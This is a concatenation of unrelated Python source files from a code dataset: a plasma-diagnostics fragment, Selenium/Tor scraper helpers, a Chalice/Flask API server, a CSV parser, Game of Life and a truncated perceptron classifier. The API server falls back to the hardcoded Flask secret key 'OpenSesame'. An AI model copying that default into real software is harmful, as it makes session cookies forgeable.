pyfusion.root_dir+'/pause'+ ' is removed')\n sleep(int(20*(1+random.uniform()))) # wait 20-40 secs, so they don't all start together\n\n try:\n d = lhd.acq.getdata(shot, diag_name)\n if time_range != None:\n d.reduce_time(time_range, copy=False)\n\n sections = d.segment(n_samples, overlap)\n print(d.history, len(sections), pyfusion.version.get_version('verbose'))\n try:\n for k in pyfusion.conf.history.keys():\n print(pyfusion.conf.history[k][0].split('\"')[1])\n if info>1: sys.stdout.writelines(pyfusion.conf.utils.dump())\n except: pass \n\n ord_segs = []\n for ii,t_seg in enumerate(sections):\n ord_segs.append(t_seg)\n ord = argsort([average(t_seg.timebase) for t_seg in ord_segs])\n if fmax == None:\n fmax = 0.5/np.average(np.diff(ord_segs[0].timebase)) - df\n\n for idx in ord:\n t_seg = ord_segs[idx]\n (ipk, fpk, apk) = find_signal_spectral_peaks(t_seg.timebase, t_seg.signal[0],minratio=0.1)\n w_in_range = np.where(fpk < fmax)[0]\n (ipk, fpk, apk) = (ipk[w_in_range], fpk[w_in_range], apk[w_in_range])\n if len(ipk)>max_bands: \n warn('too many peaks - reducing to {mb}'.format(mb=max_bands))\n fpk = np.sort(fpk[np.argsort(apk)[-(max_bands+1):]])\n\n (lfs, hfs) = subdivide_interval(np.append(fpk, fmax), debug=0, overlap=(df/2,df*2))\n for i in range(len(lfs)):\n (frlow,frhigh)= (lfs[i],hfs[i])\n f_seg = t_seg.filter_fourier_bandpass(\n [lfs[i],hfs[i]], [lfs[i]-df,hfs[i]+df]) \n fs_set = f_seg.flucstruc(method=method, separate=separate)\n for fs in fs_set:\n if count==0: \n # show history if info says to, and avoid starting line with a digit\n if info > 0: print('< '+fs.history.replace('\\n201','\\n< 201'))\n print('Shot time SVS freq Amp a12 p H frlow frhigh {np:2d} Phases'.format(np=len(fs.dphase)))\n count += 1\n if fs.H < max_H and fs.p>0.01 and len(fs.svs())>=min_svs:\n phases = ' '.join([\"%5.2f\" % j.delta for j in fs.dphase])\n # was t_seg.scales, but now it is copies, t_seg is not updated \n RMS_scale = sqrt(mean(fs.scales**2)) \n adjE = fs.p*fs.E*RMS_scale**2\n debug_(debug)\n if pyfusion.orm_manager.IS_ACTIVE: \n # 2-2.05, MP: 11 secs, 87 , commit=False 10.6 secs 87\n # commits don't seem to reduce time. \n fs.save(commit=True) \n else: \n # 20121206 - time as %8.5g (was 7.4) \n # caused apparent duplicate times\n print (\"%d %8.5g %s %6.3g %6.3f %.2f %.3f %.3f %5.1f %5.1f %s\" % (\n shot, fs.t0, \"{0:11b}\".format(fs._binary_svs), \n fs.freq/1000., sqrt(fs.E*fs.p)*RMS_scale, \n fs.a12, fs.p, fs.H, frlow/1e3, frhigh/1e3, phases))\n\n # the -f stops the rm cmd going to the terminal\n# subprocess.call(['/bin/rm -f /data/tmpboyd/pyfusion/FMD*%d*' %shot], shell=True)\n# subprocess.call(['/bin/rm -f /data/tmpboyd/pyfusion/SX8*%d*' %shot], shell=True)\n except exception:\n#set Exception=None to allow traceback to show - it can never happen\n# otherwise, the warnigns.warn will prevent multiple identical messages\n warning_msg = str('shot %d not processed: %s' % \n (shot,sys.exc_info()[1].__repr__()))\n warnings.warn(warning_msg,stacklevel=2)\n\nif pyfusion.orm_manager.IS_ACTIVE: \n\n pyfusion.orm_manager.Session().commit()\n pyfusion.orm_manager.Session().close_all()\n","sub_path":"pyfusion/examples/gen_fs_bands.py","file_name":"gen_fs_bands.py","file_ext":"py","file_size_in_byte":5644,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"14772682","text":"#!/usr/bin/python\n#\n# random_test: tests random plugin\n#\n# Test random plugin, assert that it returns number and that the \n# plugin follows expected behavior\n\nimport sys, imp, atexit\nsys.path.append(\"/home/courses/cs3214/software/pexpect-dpty/\");\nimport pexpect, shellio, signal, time, os, re, proc_check\n\nchild = pexpect.spawn(\"./esh -p plugins\")\n\nchild.timeout = 2\n\nwith open(\"log2.txt\", \"w\") as log_file:\n\tchild.logfile = log_file\n\tchild.send(\"duel\\r\")\n\tassert child.expect(\"Welcome to DUEL\") == 0, \"Unexpected output\"\n\nshellio.success()\n","sub_path":"plugins/455_duel_test.py","file_name":"455_duel_test.py","file_ext":"py","file_size_in_byte":541,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"5659787","text":"import sys\nimport os\nimport pandas as pd\nfrom datetime import datetime\n\nfrom selenium import webdriver\nfrom selenium.common.exceptions import WebDriverException\nfrom tbselenium.exceptions import TBDriverPortError\nfrom tbselenium.tbdriver import TorBrowserDriver\n\nfrom anehome.settings import BASE_DIR, DEVELOP_MODE\nfrom anehome.utils import static_variables\nfrom parser_app.logic.tor_service_settings import TOR_SERVICE_PORT, TOR_SERVICE_HOST\n\n\nclass Singleton(object):\n _instance = None\n\n def __new__(class_, *args, **kwargs):\n if not isinstance(class_._instance, class_):\n class_._instance = object.__new__(class_, *args, **kwargs)\n return class_._instance\n\n\nclass Global(Singleton):\n succ_proxies = []\n\n def __init__(self):\n self.base_dir = os.path.dirname(os.path.abspath(__file__))\n self.example_shot = os.path.join(self.base_dir, 'description', 'data_2019-10-02.csv')\n self.links = pd.read_csv(os.path.join(self.base_dir, os.path.join('description', 'final_links.csv')), sep=';',\n index_col=0)\n self.gks_links = os.path.join(self.base_dir, os.path.join('description', 'gks_weekly_links.csv'))\n self.path_desc = os.path.join(self.base_dir, os.path.join('description', 'categories.csv'))\n\n self.desc_df = pd.read_csv(self.path_desc, sep=';', index_col='id')\n self.date = datetime.now().date() # date(year=2020, month=3, day=31)\n self.max_links = None\n self.is_selenium_ozon = False\n self.is_selenium_okey = False\n self.is_selenium_utkonos = False\n self.is_shutdown = False\n\n self.path_chromedriver = get_path_to_webdriver()\n self._make_proxy = False\n\n if not hasattr(self, 'already_make_proxy'):\n self.getproxies()\n\n self.path_chromedriver = os.path.join(BASE_DIR,\n 'chromedriver') # '/home/yelex/PycharmProjects/ane_django/chromedriver'\n self.path_parsedcontent = os.path.join(BASE_DIR, 'parsed_content')\n options = webdriver.ChromeOptions()\n # options.add_argument('--headless')\n # options.add_argument(\"--disable-dev-shm-usage\");\n # options.add_argument(\"--start-maximized\")\n options.add_argument(\"--disable-gpu\")\n options.add_argument(\"--no-sandbox\")\n options.add_argument(\"--disable-dev-shm-usage\")\n self.chrome_options = options\n self.path_sfb = os.path.join(self.base_dir, r'description/sfb.csv')\n\n # chose chrome driver appropriate for current operation system\n print(f'Use chrome driver for you operation system : {sys.platform}')\n if sys.platform.startswith('linux'):\n self.path_chromedriver = os.path.join('ChromeDriver', 'chromedriver_Linux')\n elif sys.platform == 'darwin':\n self.path_chromedriver = os.path.join('ChromeDriver', 'chromedriver_mac')\n elif 'win' in sys.platform:\n self.path_chromedriver = os.path.join('ChromeDriver', 'chromedriver.exe')\n else:\n raise ValueError(\"find chrome driver for your OS on site:\\n\"\n \"https://chromedriver.chromium.org/downloads\")\n\n def getproxies(self):\n if not hasattr(self, 'already_make_proxy'):\n self.already_make_proxy = True\n # get_proxy('https://www.perekrestok.ru/', get_new=True, get_list=True)\n\n def setstatus(self, status):\n self.status = status\n\n\ndef get_path_to_webdriver() -> str:\n # chose chrome driver appropriate for current operation system\n if sys.platform.startswith('linux'):\n path_to_chrome_driver = os.path.join('ChromeDriver', 'chromedriver_Linux')\n elif sys.platform == 'darwin':\n path_to_chrome_driver = os.path.join('ChromeDriver', 'chromedriver_mac')\n elif 'win' in sys.platform:\n path_to_chrome_driver = os.path.join('ChromeDriver', 'chromedriver.exe')\n else:\n raise ValueError(\n \"find chrome driver for your OS on site:\\n\"\n \"https://chromedriver.chromium.org/downloads\"\n )\n\n return path_to_chrome_driver\n\n\ndef get_usual_webdriver() -> webdriver.Chrome:\n \"\"\"\n Create simple selenium web chrome driver\n :return: webdriver.Chrome\n \"\"\"\n options = webdriver.ChromeOptions()\n driver = webdriver.Chrome(executable_path=get_path_to_webdriver(), options=options)\n return driver\n\n\ndef create_webdriver_with_proxy(proxy_ip_with_port: str) -> webdriver.Chrome:\n \"\"\"\n Create simple selenium web chrome driver with proxy\n :return: webdriver.Chrome\n \"\"\"\n assert isinstance(proxy_ip_with_port, str), \"proxy_ip_with_port should be string like '255.255.0.1:8080'\"\n return create_webdriver(proxy_ip_with_port=proxy_ip_with_port)\n\n\ndef create_webdriver(**kwargs) -> webdriver.Chrome:\n \"\"\"\n Create selenium web driver with params from kwargs.\n :param kwargs: can contain:\n - proxy_ip_with_port - proxy\n - download_path - path for downloaded content\n :return: webdriver.Chrome\n \"\"\"\n options = webdriver.ChromeOptions()\n\n if 'proxy_ip_with_port' in kwargs.keys():\n options.add_argument(f\"--proxy-server={kwargs['proxy_ip_with_port']}\")\n\n if 'download_path' in kwargs.keys():\n options.add_experimental_option(\n \"prefs\",\n {\n \"profile.default_content_settings.popups\": 0,\n \"download.default_directory\": kwargs['download_path'],\n },\n )\n\n driver = webdriver.Chrome(executable_path=get_path_to_webdriver(), options=options)\n return driver\n\n\n@static_variables(already_add=False)\ndef _add_geckodriver_to_path() -> None:\n if _add_geckodriver_to_path.already_add:\n return\n abs_path_to_project = os.path.join(os.path.abspath(os.path.curdir), 'geckodriver')\n if sys.platform.startswith('linux'):\n path_to_geckodriver = 'linux'\n elif sys.platform == 'darwin':\n path_to_geckodriver = 'mac'\n elif 'win' in sys.platform:\n path_to_geckodriver = 'windows'\n else:\n raise ValueError(\n \"Unfortunately there aren't preloaded geckodriver for yor OS\\\\\"\n 'Visit:\\nhttps://github.com/mozilla/geckodriver/releases and load needed version'\n )\n sys.path.append(os.path.join(abs_path_to_project, path_to_geckodriver))\n if DEVELOP_MODE:\n print('\\ncurrent PATH:\\n', \"\\n\".join(sys.path), '\\n***\\n', sep='')\n\n\ndef create_tor_webdriver() -> TorBrowserDriver:\n \"\"\"\n Create Selenium Tor Web driver and load test page.\n :return: TorBrowserDriver\n \"\"\"\n _add_geckodriver_to_path()\n\n try:\n cur_path = os.path.abspath(os.curdir)\n driver = TorBrowserDriver('tor_browser_folder')\n driver.load_url('https://check.torproject.org', wait_for_page_body=True)\n os.chdir(cur_path)\n return driver\n except TBDriverPortError:\n print('Probably you need to install Tor Service\\non linux try this:\\nsudo apt-get install tor\\n')\n raise TBDriverPortError\n except WebDriverException:\n print('Probably you have uncompatible geckodriver\\n'\n 'then visit:\\nhttps://github.com/mozilla/geckodriver/releases\\n'\n 'But, may be, you just have no geckodriver in you PATH then just add it there :)\\n')\n raise WebDriverException\n\n\ndef create_tor_service_browser() -> webdriver.Chrome:\n chrome_options = webdriver.ChromeOptions()\n chrome_options.add_argument(f\"--proxy-server=socks5://{TOR_SERVICE_HOST}:{TOR_SERVICE_PORT}\")\n driver = webdriver.Chrome(executable_path=get_path_to_webdriver(), options=chrome_options)\n\n return driver\n","sub_path":"parser_app/logic/global_status.py","file_name":"global_status.py","file_ext":"py","file_size_in_byte":7650,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"259844397","text":"# Desenvolva um programa que leia o nome, idade e sexo de 4 pessoas. No final do programa, mostre;\n# - A média de idade do grupo.\n# - Qual é o nome do homem mais velho.\n# - Quantas mulheres têm menos de 20 anos.\n\nmedia = 0\nmulher_menor = 0\nhomem_idade_maisvelho = 0\nfor c in range(1, 5):\n nome = str(input('Nome: ')).title()\n idade = int(input('Idade: '))\n sexo = str(input('Sexo (M ou F): ')).upper()\n\n if sexo == 'M':\n if idade > homem_idade_maisvelho:\n homem_nome = nome\n homem_idade_maisvelho = idade\n\n elif sexo == 'F':\n if idade < 20:\n mulher_menor += 1\n\n media += idade\n\nmedia = media / 4\n\nprint('Idade média: {:.0f} anos'.format(media))\nprint('O homem mais velho é: {}'.format(homem_nome))\nprint('Mulheres com menos de 20 anos: {}'.format(mulher_menor))","sub_path":"Exercicios/Resolvido/exercicio_56.py","file_name":"exercicio_56.py","file_ext":"py","file_size_in_byte":831,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"246684340","text":"from collections import defaultdict\n\nimport chalice\nimport connexion\nimport json\nimport logging\nimport os\nimport re\nimport sys\nfrom chalice import Chalice\nfrom connexion import FlaskApi, ProblemException, problem\nfrom flask import g\nfrom flask_cors import CORS\nfrom urllib.parse import urlparse\n\npkg_root = os.path.abspath(os.path.join(os.path.dirname(__file__), \"chalicelib\")) # noqa\nsys.path.insert(0, pkg_root) # noqa\n\n\nfrom corpora.common.utils.json import CustomJSONEncoder\nfrom corpora.common.utils.aws import AwsSecret\nfrom corpora.common.utils.db_session import db_session_manager\n\n\ndef create_flask_app():\n app = connexion.FlaskApp(f\"{os.environ['APP_NAME']}-{os.environ['DEPLOYMENT_STAGE']}\")\n swagger_spec_path = os.path.join(pkg_root, \"config\", f\"{os.environ['APP_NAME']}.yml\")\n app.add_api(swagger_spec_path, validate_responses=True)\n return app.app\n\n\ndef get_chalice_app(flask_app):\n app = Chalice(app_name=flask_app.name)\n flask_app.debug = True\n app.debug = flask_app.debug\n app.log.setLevel(logging.DEBUG)\n\n # set the flask secret key, needed for session cookies\n flask_secret_key = \"OpenSesame\"\n deployment = os.environ[\"DEPLOYMENT_STAGE\"]\n allowed_origins = []\n if deployment not in [\"prod\"]:\n allowed_origins.extend([r\"http://.*\\.corporanet\\.local:\\d+\", r\"^http://localhost:\\d+\"])\n if os.getenv(\"FRONTEND_URL\"):\n allowed_origins.append(os.getenv(\"FRONTEND_URL\"))\n if deployment != \"test\": # pragma: no cover\n secret_name = f\"corpora/backend/{os.environ['DEPLOYMENT_STAGE']}/auth0-secret\"\n auth_secret = json.loads(AwsSecret(secret_name).value)\n if auth_secret:\n flask_secret_key = auth_secret.get(\"flask_secret_key\", flask_secret_key)\n frontend = auth_secret.get(\"redirect_to_frontend\", None)\n if frontend:\n if frontend.endswith(\"/\"):\n frontend = frontend[:-1]\n frontend_parse = urlparse(frontend)\n allowed_origins.append(f\"{frontend_parse.scheme}://{frontend_parse.netloc}\")\n CORS(flask_app, max_age=600, supports_credentials=True, origins=allowed_origins, allow_headers=[\"Content-Type\"])\n app.log.info(f\"CORS allowed_origins: {allowed_origins}\")\n\n # FIXME, enforce that the flask_secret_key is found once all secrets are setup for all environments\n require_secure_cookies = True\n if os.getenv(\"DEV_MODE_COOKIES\"):\n require_secure_cookies = False\n flask_app.config.update(\n SECRET_KEY=flask_secret_key,\n SESSION_COOKIE_SECURE=require_secure_cookies,\n SESSION_COOKIE_HTTPONLY=True,\n SESSION_COOKIE_SAMESITE=\"Lax\",\n )\n\n def clean_entry_for_logging(entry):\n log = entry.to_dict()\n log.pop(\"body\", None)\n return log\n\n def dispatch(*args, **kwargs):\n app.log.info(f\"Request: {clean_entry_for_logging(app.current_request)}\")\n uri_params = app.current_request.uri_params or {}\n resource_path = app.current_request.context[\"resourcePath\"].format(**uri_params)\n req_body = app.current_request.raw_body if app.current_request._body is not None else None\n\n # Must convert the chalice.MultiDict into a list of tuples. Chalice returns chalice.Multidict which is\n # incompatible with the werkzeug.MultiDict expected by Flask.\n query_string = list(app.current_request.query_params.items()) if app.current_request.query_params else None\n\n headers = [*app.current_request.headers.items()]\n host = app.current_request.headers.get(\"host\")\n with flask_app.test_request_context(\n path=resource_path,\n base_url=\"https://{}\".format(host) if host else None,\n query_string=query_string,\n method=app.current_request.method,\n headers=headers,\n data=req_body,\n environ_base=app.current_request.stage_vars,\n ):\n with db_session_manager() as db_session:\n g.db_session = db_session\n flask_res = flask_app.full_dispatch_request()\n\n response_headers = dict(flask_res.headers)\n response_headers.update({\"X-AWS-REQUEST-ID\": app.lambda_context.aws_request_id})\n\n chalice_response = chalice.Response(\n status_code=flask_res._status_code,\n headers=response_headers,\n body=\"\".join([c.decode() if isinstance(c, bytes) else c for c in flask_res.response]),\n )\n\n app.log.info(f\"Response: {clean_entry_for_logging(chalice_response)}\")\n\n return chalice_response\n\n routes = defaultdict(list)\n for rule in flask_app.url_map.iter_rules():\n routes[re.sub(r\"<(.+?)(:.+?)?>\", r\"{\\1}\", rule.rule).rstrip(\"/\")] += rule.methods\n for route, methods in routes.items():\n app.route(route, methods=list(set([*methods, \"OPTIONS\"])))(dispatch)\n\n with open(os.path.join(pkg_root, \"index.html\")) as swagger_ui_file_object:\n swagger_ui_html = swagger_ui_file_object.read()\n\n @app.route(\"/\", methods=[\"GET\", \"HEAD\"])\n def serve_swagger_ui():\n return chalice.Response(\n status_code=200,\n headers={\"Content-Type\": \"text/html\", \"X-AWS-REQUEST-ID\": app.lambda_context.aws_request_id},\n body=swagger_ui_html,\n )\n\n flask_app.json_encoder = CustomJSONEncoder\n\n @flask_app.errorhandler(ProblemException)\n def handle_corpora_error(exception):\n response = problem(\n exception.status,\n exception.title,\n exception.detail,\n exception.type,\n exception.instance,\n exception.headers,\n exception.ext,\n )\n response.headers[\"X-AWS-REQUEST-ID\"] = app.lambda_context.aws_request_id\n return FlaskApi.get_response(response)\n\n @flask_app.teardown_appcontext\n def close_db(e=None):\n g.pop(\"db_session\", None)\n\n return app\n\n\napp = get_chalice_app(create_flask_app())\n","sub_path":"backend/chalice/api_server/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5948,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"300039967","text":"import numpy as np\nimport pandas as pd\n\ndef estimate_stats_scores(df):\n stats_scores = {}\n df_temp = df.copy()\n df_temp['arch_scores_mean'] = df_temp.apply(lambda x: np.mean(list(x['arch_scores'].values())) ,axis=1)\n df_temp['arch_scores_std'] = df_temp.apply(lambda x: np.std(list(x['arch_scores'].values())) ,axis=1)\n\n scores_mean = df_temp['arch_scores_mean'].mean()\n scores_std = df_temp['arch_scores_std'].mean()\n\n stats_scores['df'] = df_temp\n stats_scores['scores_mean'] = scores_mean\n stats_scores['scores_std'] = scores_std\n return stats_scores\n\ndef label_stats(df_EL, df_LC, pipeline):\n labeling_stats = {}\n\n if len(df_EL) > 0:\n df_EL_stats = estimate_stats_scores(df_EL)\n df_EL[\"gth\"] = df_EL[pipeline[\"x_col_name\"]].apply(lambda x:x.split('/')[-1].split('_')[-1][0])\n df_EL_TP = df_EL[ ( df_EL[pipeline[\"y_col_name\"]] == df_EL[\"gth\"] ) ]\n df_EL_stats_TP = estimate_stats_scores(df_EL_TP)\n labeling_stats[\"df_EL_stats\"] = df_EL_stats\n labeling_stats[\"df_EL_stats_TP\"] = df_EL_stats_TP\n if len(df_LC) > 0:\n df_LC_stats = estimate_stats_scores(df_LC)\n df_LC[\"gth\"] = df_LC[pipeline[\"x_col_name\"]].apply(lambda x:x.split('/')[-1].split('_')[-1][0])\n df_LC_TP = df_LC[ ( df_LC[pipeline[\"y_col_name\"]] == df_LC[\"gth\"] ) ]\n df_LC_stats_TP = estimate_stats_scores(df_LC_TP)\n labeling_stats[\"df_LC_stats\"] = df_LC_stats\n labeling_stats[\"df_LC_stats_TP\"] = df_LC_stats_TP\n\n return pd.DataFrame(labeling_stats)\n","sub_path":"ssl_gleasson/exp_37/ssl_stats.py","file_name":"ssl_stats.py","file_ext":"py","file_size_in_byte":1538,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"357120420","text":"# E_5_12 功能:以while迴圈產生9*9乘法表結合break 與continue。\ni=1\nj=1\nwhile i<=9: #外圈\n if i==4:\n i+=1\n continue\n while j<=9: #內圈\n if j==7:\n break\n print('%d*%d=%2d '%(i,j,i*j), end='')\n j+=1\n j=1\n i+=1\n print('\\n') ","sub_path":"python/src/pyprogbook/第一版(新陸)課本範例程式/ch5/E_5_12.py","file_name":"E_5_12.py","file_ext":"py","file_size_in_byte":302,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"341014691","text":"# -\\*- coding: utf-8 -\\*-\nfrom flask import Flask, render_template, url_for, redirect\n\n\napp = Flask(__name__)\napp.debug = True\n\n\ndef make_unicode(input):\n if type(input) != unicode:\n input = input.decode('utf-8')\n return input\n else:\n return input\n\n\n\ndef mrkv():\n\timport mark2\n\tm = {}\n\twith open('./#developerslv.txt') as fh:\n \t\tm = mark2.read_chat_dump(fh)\n\n\treturn m['daGrevis']['markov'].generate_markov_text(50)\n\n\n\n@app.route('/mark')\ndef test():\n\tm2 = make_unicode(mrkv())\n\treturn render_template('mark1.html', mark1=m2)\t\n\n\nif __name__ == '__main__':\n\tapp.run()\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":598,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"64411324","text":"# -*- coding: utf-8 -*-\n#\n# Copyright (C) 2018 RERO.\n#\n# RERO Ebooks is free software; you can redistribute it and/or modify it\n# under the terms of the MIT License; see LICENSE file for more details.\n\n\"\"\"Test minters and providers.\"\"\"\n\nfrom uuid import uuid4\n\nfrom rero_ebooks.minters import ebook_pid_minter\n\n\ndef test_ebook_id_minter(base_app, db):\n \"\"\"Test minter.\"\"\"\n data = {\n 'other_standard_identifier': [{\n 'standard_number_or_code':\n 'http://cantookstation.com/resources/55373535cdd23087a9789b72'\n }]\n }\n # first record\n rec_uuid = uuid4()\n ebook_pid_minter(rec_uuid, data, 'cantook')\n assert data.get('pid') == 'cantook-55373535cdd23087a9789b72'\n","sub_path":"tests/api/test_minters.py","file_name":"test_minters.py","file_ext":"py","file_size_in_byte":718,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"493098543","text":"# Ejercicio 7.6: De archivos a \"objetos cual archivos\"\n\ndef parse_csv(filas, select = None, types = None, has_headers = True, silence_errors = False):\n '''\n Parsea una lista de registros.\n select: Se puede seleccionar sólo un subconjunto de las columnas. Debe ser una lista de nombres de las columnas a considerar.\n types: castea los valores a un tipo de dato. Debe ser una lista de funciones\n has_headers: true si la primera linea son nombres de headers\n '''\n if not has_headers and select:\n raise RuntimeError('Para seleccionar, necesito encabezados.')\n\n registros = []\n\n if has_headers:\n # Lee los encabezados del archivo\n encabezados = next(filas)\n types_func = types if types else [str] * len(encabezados)\n\n # Si se indicó un selector de columnas,\n # buscar los índices de las columnas especificadas.\n # Y en ese caso achicar el conjunto de encabezados para diccionarios\n\n if select:\n indices = [encabezados.index(nombre_columna) for nombre_columna in select]\n encabezados = select\n else:\n indices = []\n\n for i, fila in enumerate(filas, 1):\n if not fila: # Saltear filas vacías\n continue\n try:\n # aplico los types\n fila = [func(value) for func, value in zip([func for func in types_func], fila)]\n except ValueError as e:\n if not silence_errors:\n print(f'Fila {i}: No pude convertir {fila}')\n print(f'Fila {i}: Motivo: {e}')\n continue\n\n # Filtrar la fila si se especificaron columnas\n if indices:\n fila = [fila[index] for index in indices]\n\n\n # Armar el diccionario\n registro = dict(zip(encabezados, fila))\n registros.append(registro)\n else:\n registros = [fila for fila in filas if fila]\n if types:\n registros = [[func(value) for func, value in zip(types, fila)] for fila in registros]\n\n return registros\n\n\n\n","sub_path":"Clase07/fileparse.py","file_name":"fileparse.py","file_ext":"py","file_size_in_byte":2099,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"105511759","text":"\"\"\"\n\tclass gameOfLife\n\tcontains a simulation of conways game of life\n\"\"\"\n\n\nclass gameOfLife:\n\n\t##the size of the fiel\n\tfield_size = 0\n\n\t##the field itself\n\tfield = []\n\n\t##the constructor\n\t#\n\t#@param field_size the size of the field, defaults to 10\n\tdef __init__(self, field_size=10):\n\n\t\tself.field_size = field_size\n\n\t\t#initialize field with dead cells\n\t\tfor x in range(0, field_size):\n\t\t\tself.field.append([])\n\t\t\tfor y in range(0, field_size):\n\t\t\t\tself.field[x].append(False)\n\n\t##checks if position is in field\n\t#\n\t#@param x the x coordinate of the position\n\t#@param y the y coordinate of the possition\n\tdef inside_field(self, x, y):\n\t\tif x >= self.field_size or y >= self.field_size:\n\t\t\treturn False\n\t\tif x < 0 or y < 0:\n\t\t\treturn False\n\t\treturn True\n\n\t##calculates the next step and saves it in the field\n\tdef tick(self):\n\t\tnew_field = list(self.field)\n\t\tfor x in range(0, self.field_size):\n\t\t\tfor y in range(0, self.field_size):\n\t\t\t\tnew_field[x][y] = self.next_state(x, y)\n\n\t\tself.field = new_field\n\n\t##calculates the next state at position\n\t#\n\t#@param x the x coordinate of the position\n\t#@param y the y coordinate of the position\n\tdef next_state(self, x, y):\n\t\tif not self.inside_field(x, y):\n\t\t\treturn False\n\n\t\tnr_alive_neighbors = self.living_neighbors(x, y)\n\n\t\tif nr_alive_neighbors < 2:\n\t\t\treturn False\n\t\telif nr_alive_neighbors == 2:\n\t\t\treturn self.field[x][y]\n\t\telif nr_alive_neighbors == 3:\n\t\t\treturn True\n\t\telif nr_alive_neighbors > 3:\n\t\t\treturn False\n\n\t##returns the number of living neighbors at position\n\t#\n\t#@param x the x coordinate of the position\n\t#@param y the y coordinate of the position\n\tdef living_neighbors(self, x, y):\n\t\tif not self.inside_field(x, y):\n\t\t\treturn False\n\n\t\tnr_neighbors = 0\n\n\t\tif self.inside_field(x-1, y-1) and self.field[x-1][y-1]:\n\t\t\tnr_neighbors += 1\n\t\tif self.inside_field(x-1, y) and self.field[x-1][y]:\n\t\t\tnr_neighbors += 1\n\t\tif self.inside_field(x-1, y+1) and self.field[x-1][y+1]:\n\t\t\tnr_neighbors += 1\n\t\tif self.inside_field(x, y-1) and self.field[x][y-1]:\n\t\t\tnr_neighbors += 1\n\t\tif self.inside_field(x, y+1) and self.field[x][y+1]:\n\t\t\tnr_neighbors += 1\n\t\tif self.inside_field(x+1, y-1) and self.field[x+1][y-1]:\n\t\t\tnr_neighbors += 1\n\t\tif self.inside_field(x+1, y) and self.field[x+1][y]:\n\t\t\tnr_neighbors += 1\n\t\tif self.inside_field(x+1, y+1) and self.field[x+1][y+1]:\n\t\t\tnr_neighbors += 1\n\n\t\treturn nr_neighbors\n","sub_path":"gameOfLife.py","file_name":"gameOfLife.py","file_ext":"py","file_size_in_byte":2365,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"151218583","text":"import config as cf\n\nclass Get_Params:\n\n def Get_Value_DT(self, active_cell, data, cols):\n '''Hỗ trợ lấy giá trị của datatable'''\n \n label = active_cell['column_id']\n if label in cols.keys():\n value = data[active_cell['row']][cols[label]]\n return label, value\n else:\n return None, None\n\n def Get_Value(self, ctx, data=None):\n '''Lấy giá trị của các loại biểu đồ, datatable'''\n\n info = ctx.triggered[0]\n self._id_ = info['prop_id'].split('.')[0]\n value = info['value']\n\n '''if self._id_.split('_')[0] == 'ddl':\n return None, None'''\n\n if self._id_ in cf.Bar_Chart.keys() and value is not None:\n value = value['points'][0]['label']\n return cf.Bar_Chart[self._id_], value\n\n if self._id_ in cf.Line_Chart.keys() and value is not None:\n value = value['points'][0]['x']\n return cf.Line_Chart[self._id_], value\n\n '''if self._id_ in cf.MultiLine_Chart.keys() and value is not None:\n value = value['points'][0]['curveNumber']\n return cf.MultiLine_Chart[self._id_], value'''\n\n '''if self._id_ in cf.Pie_Charts.keys() and value is not None:\n return cf.Pie_Charts[self._id_], value['points'][0]['label']'''\n\n if self._id_ in cf.Datatable.keys():\n if type(data) == dict:\n data = data[self._id_]\n label, value = self.Get_Value_DT(value, data, cf.Datatable[self._id_])\n return label, value\n print(ctx)\n return None, None","sub_path":"QUACONTROL_DEMO/controller/get_params.py","file_name":"get_params.py","file_ext":"py","file_size_in_byte":1625,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"30238192","text":"import os\nimport sys\nimport os\nimport sys\nimport numpy as np\nimport string\n\n# Global Var\nstop_words = [\"the\", 'a', \"to\", \"and\", \"or\", \"between\", \"an\", \"both\", \"but\"]\n\n\ndef read_model(path):\n \"\"\"\n read the model from the model path\n :param path: string, path to the model file\n :return: word_list: list, list of words to train on\n W_pn: weights for positive and negative labels\n b_pn: bias for positive and negative labels\n W_dt: weights for deceptive and truthful labels\n b_dt: bias for deceptive and truthful labels\n \"\"\"\n f = open(path, \"r\")\n word_list = f.readline().strip().split(\",\")\n W_pn = [float(i) for i in f.readline().strip().split(\",\")]\n b_pn = float(f.readline().strip())\n W_dt = [float(i) for i in f.readline().strip().split(\",\")]\n b_dt = float(f.readline().strip())\n\n return word_list,W_pn, b_pn, W_dt, b_dt\n\n\ndef classify_all(input, W_pn, b_pn, W_dt, b_dt, word_feature_list):\n \"\"\"\n classify all files in the folder\n :param input: string, input path to the folder\n :param W_pn: weights for positive and negative labels\n :param b_pn: bias for positive and negative labels\n :param W_dt: weights for deceptive and truthful labels\n :param b_dt: bias for deceptive and truthful labels\n :param word_feature_list: list, list of words to train on\n :return: None\n \"\"\"\n output = open(\"percepoutput.txt\", \"w\")\n for dir in os.listdir(input):\n if not os.path.isfile(os.path.join(input, dir)):\n sub_directories = os.path.join(input, dir)\n for sub_dir in os.listdir(sub_directories):\n if not os.path.isfile(os.path.join(sub_directories, sub_dir)):\n sub_folder_directories = os.path.join(sub_directories, sub_dir)\n for sub_fold_dir in os.listdir(sub_folder_directories):\n if not os.path.isfile(os.path.join(sub_folder_directories, sub_fold_dir)):\n sub_fold_dir_path = os.path.join(sub_folder_directories, sub_fold_dir)\n classify_single(output, sub_fold_dir_path, W_pn, b_pn, W_dt, b_dt, word_feature_list)\n\n\ndef classify_single(output, sub_fold_dir_path, W_pn, b_pn, W_dt, b_dt, word_feature_list):\n \"\"\"\n classify all files in the folder, helper method\n :param output: string, output path to write the predict label\n :param sub_fold_dir_path: string, input path for the training folder path\n 